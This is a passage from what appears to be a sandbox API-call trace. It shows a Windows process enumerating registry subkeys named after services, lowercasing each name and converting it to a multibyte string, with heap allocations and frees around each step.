cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0250.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0250.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0250.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1cd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0250.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1da8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0250.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0250.871] RtlAllocateHeap 